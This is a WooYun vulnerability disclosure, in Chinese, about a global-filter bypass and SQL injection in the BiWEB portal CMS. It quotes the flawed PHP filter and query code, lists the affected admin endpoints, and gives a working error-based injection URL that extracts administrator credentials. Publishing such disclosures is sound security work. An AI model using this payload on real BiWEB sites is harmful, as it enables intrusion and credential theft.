当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-084312

漏洞标题：BiWEB最新门户版绕过过滤注入漏洞小礼包

相关厂商：BiWEB

漏洞作者： 路人甲

提交时间：2014-11-24 01:08

修复时间：2015-02-22 01:10

公开时间：2015-02-22 01:10

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-24： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-22： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

BiWEB最新门户版绕过过滤注入漏洞小礼包，绕过全局过滤，造成多处可以注入

详细说明：

在wooyun上看到了有人把biweb的shell拿到了： WooYun: BIWEB门户版Getwebshell漏洞 ，也有人提了其他漏洞，我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。
BiWEB对用户输入进行了全局过滤，但是这种过滤方法比较NC，这个漏洞就是来绕过全局过滤的。先来看看这个全局过滤方法吧/config/filtrate.inc.php

<?php
//过滤GET或POST的值，去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
	check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
	check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>


这个过滤方法中，如果是POST方法就只对通过POST提交的用户数据进行过滤，GET方法同理。我们可以这样来绕过这种过滤：REQUEST_METHOD还是POST，但是在url中带入用户数据（GET方法），然后程序中用$_GET数组来获取数据的话，那就可以获得通过url提交的恶意数据，并且没有经过全局过滤，这样就绕过了全局过滤。
在BiWEB中找到了不少可以这样绕过过滤的注入点。

/ask/adminu/modifyinfo.php
/company/adminu/modifyinfo.php
/exhibition/adminu/modifyinfo.php
/job/adminu/modifyinfo.php
/links/adminu/modifyinfo.php
/news/adminu/modifyinfo.php
/product/adminu/modifyinfo.php
/trade/adminu/modifyinfo.php
/video/adminu/modifyinfo.php


这里以/ask/adminu/modifyinfo.php中的漏洞为例进行说明

无关代码
$objWebInit = new ask();
//数据库连接参数
$objWebInit->setDBG($arrGPdoDB);
//smarty参数
$objWebInit->arrGSmarty = $arrGSmarty;
//图片上传参数
$objWebInit->arrGPic = $arrGPic;
$objWebInit->db();
// 取得文章信息
$arrInfo = $objWebInit->getInfo($_GET['id']);
无关代码


继续去看看getInfo()，在/web_common5.8/php_common.php

function getInfo($intInfoID,$field = '*',$pass=null,$add=false){
		if($add) $this->updateClicktimes(" Where id =".$intInfoID);
		if($pass!=null) $where= " and pass='$pass'";
		else $where='';
		$strSQL = "SELECT $field FROM $this->tablename2 ".
		" Where id ='".$intInfoID."'".$where;
		$rs = $this->db->query($strSQL);
		$arrData = $rs->fetchall();
		if(!empty($arrData[0]['structon_tb'])) $arrData = $this->loadTableFieldG($arrData);
		return current($arrData);
	}


可以看出，整个过程中没有其他的过滤，只要可以绕过全局过滤，就可以注入。
如果按正常的情况使用GET提交，单引号被全局过滤编码，如下：

正常访问副本.jpg


把GET方法改为POST提交，成功引入单引号，如下:

单引号被引入副本.jpg


以error-based blind 方法来注入，payload如下（用POST方法提交）

/ask/adminu/modifyinfo.php?id=1%27%20or%20%20(select%201%20from%20(select%20count(*),concat(0x23,(select%20concat(user_name,0x23,password,0x23)from%20biweb_user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20or%27


成功注入，管理员用户名及密码如下图中所示：

注入成功副本.jpg

漏洞证明：

见 详细说明

修复方案：

修改全局过滤方法

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝